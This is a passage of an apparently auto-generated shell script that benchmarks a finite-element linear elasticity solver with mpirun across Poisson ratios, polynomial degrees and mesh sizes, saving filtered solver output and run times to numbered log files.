nodes\\|Time (sec)\\|noether with\" > log_files/\"057_linE_nu_0.49_deg_2_h_40_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"057_linE_nu_0.49_deg_2_h_40_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"058_linE_nu_0.49_deg_2_h_40_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"058_linE_nu_0.49_deg_2_h_40_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 40 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 40,40,40 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"059_linE_nu_0.49_deg_2_h_40_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"059_linE_nu_0.49_deg_2_h_40_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"060_linE_nu_0.49_deg_2_h_41_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"060_linE_nu_0.49_deg_2_h_41_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"061_linE_nu_0.49_deg_2_h_41_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"061_linE_nu_0.49_deg_2_h_41_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 2 h: 41 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 41,41,41 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"062_linE_nu_0.49_deg_2_h_41_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"062_linE_nu_0.49_deg_2_h_41_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"063_linE_nu_0.49_deg_3_h_5_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"063_linE_nu_0.49_deg_3_h_5_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"064_linE_nu_0.49_deg_3_h_5_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"064_linE_nu_0.49_deg_3_h_5_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 5 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"065_linE_nu_0.49_deg_3_h_5_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"065_linE_nu_0.49_deg_3_h_5_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"066_linE_nu_0.49_deg_3_h_8_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"066_linE_nu_0.49_deg_3_h_8_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"067_linE_nu_0.49_deg_3_h_8_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"067_linE_nu_0.49_deg_3_h_8_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 8 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"068_linE_nu_0.49_deg_3_h_8_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"068_linE_nu_0.49_deg_3_h_8_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"069_linE_nu_0.49_deg_3_h_9_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"069_linE_nu_0.49_deg_3_h_9_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"070_linE_nu_0.49_deg_3_h_9_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"070_linE_nu_0.49_deg_3_h_9_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 9 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"071_linE_nu_0.49_deg_3_h_9_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"071_linE_nu_0.49_deg_3_h_9_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"072_linE_nu_0.49_deg_3_h_12_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"072_linE_nu_0.49_deg_3_h_12_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"073_linE_nu_0.49_deg_3_h_12_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"073_linE_nu_0.49_deg_3_h_12_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 12 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 12,12,12 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"074_linE_nu_0.49_deg_3_h_12_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"074_linE_nu_0.49_deg_3_h_12_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"075_linE_nu_0.49_deg_3_h_13_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"075_linE_nu_0.49_deg_3_h_13_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"076_linE_nu_0.49_deg_3_h_13_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"076_linE_nu_0.49_deg_3_h_13_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 3 h: 13 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 3 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"077_linE_nu_0.49_deg_3_h_13_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"077_linE_nu_0.49_deg_3_h_13_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"078_linE_nu_0.49_deg_4_h_3_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"078_linE_nu_0.49_deg_4_h_3_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"079_linE_nu_0.49_deg_4_h_3_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"079_linE_nu_0.49_deg_4_h_3_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 3 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 3,3,3 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"080_linE_nu_0.49_deg_4_h_3_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"080_linE_nu_0.49_deg_4_h_3_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"081_linE_nu_0.49_deg_4_h_4_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"081_linE_nu_0.49_deg_4_h_4_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"082_linE_nu_0.49_deg_4_h_4_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"082_linE_nu_0.49_deg_4_h_4_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 4 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 4,4,4 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"083_linE_nu_0.49_deg_4_h_4_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"083_linE_nu_0.49_deg_4_h_4_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"084_linE_nu_0.49_deg_4_h_7_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"084_linE_nu_0.49_deg_4_h_7_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"085_linE_nu_0.49_deg_4_h_7_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"085_linE_nu_0.49_deg_4_h_7_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 7 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"086_linE_nu_0.49_deg_4_h_7_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"086_linE_nu_0.49_deg_4_h_7_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"087_linE_nu_0.49_deg_4_h_8_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"087_linE_nu_0.49_deg_4_h_8_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"088_linE_nu_0.49_deg_4_h_8_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"088_linE_nu_0.49_deg_4_h_8_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 8 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"089_linE_nu_0.49_deg_4_h_8_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"089_linE_nu_0.49_deg_4_h_8_cpu_16_run_3.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"090_linE_nu_0.49_deg_4_h_9_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"090_linE_nu_0.49_deg_4_h_9_cpu_16_run_1.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"091_linE_nu_0.49_deg_4_h_9_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"091_linE_nu_0.49_deg_4_h_9_cpu_16_run_2.log\" \n\necho \"running nu: 0.49 p: 4 h: 9 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 4 -E 1.00e+08 -nu 0.49 -dm_plex_box_faces 9,9,9 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"092_linE_nu_0.49_deg_4_h_9_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"092_linE_nu_0.49_deg_4_h_9_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"093_linE_nu_0.49999_deg_2_h_38_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"093_linE_nu_0.49999_deg_2_h_38_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"094_linE_nu_0.49999_deg_2_h_38_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"094_linE_nu_0.49999_deg_2_h_38_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 38 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"095_linE_nu_0.49999_deg_2_h_38_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"095_linE_nu_0.49999_deg_2_h_38_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"096_linE_nu_0.49999_deg_2_h_96_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"096_linE_nu_0.49999_deg_2_h_96_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"097_linE_nu_0.49999_deg_2_h_96_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"097_linE_nu_0.49999_deg_2_h_96_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 96 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 96,96,96 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"098_linE_nu_0.49999_deg_2_h_96_cpu_16_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"098_linE_nu_0.49999_deg_2_h_96_cpu_16_run_3.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 16 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"099_linE_nu_0.49999_deg_2_h_97_cpu_16_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"099_linE_nu_0.49999_deg_2_h_97_cpu_16_run_1.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 16 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"100_linE_nu_0.49999_deg_2_h_97_cpu_16_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"100_linE_nu_0.49999_deg_2_h_97_cpu_16_run_2.log\" \n\necho \"running nu: 0.49999 p: 2 h: 97 on 16 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 16 ./elasticity -degree 2 -E 1.00e+08 -nu 0.49999 -dm_plex_box_faces 97,97,97 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global 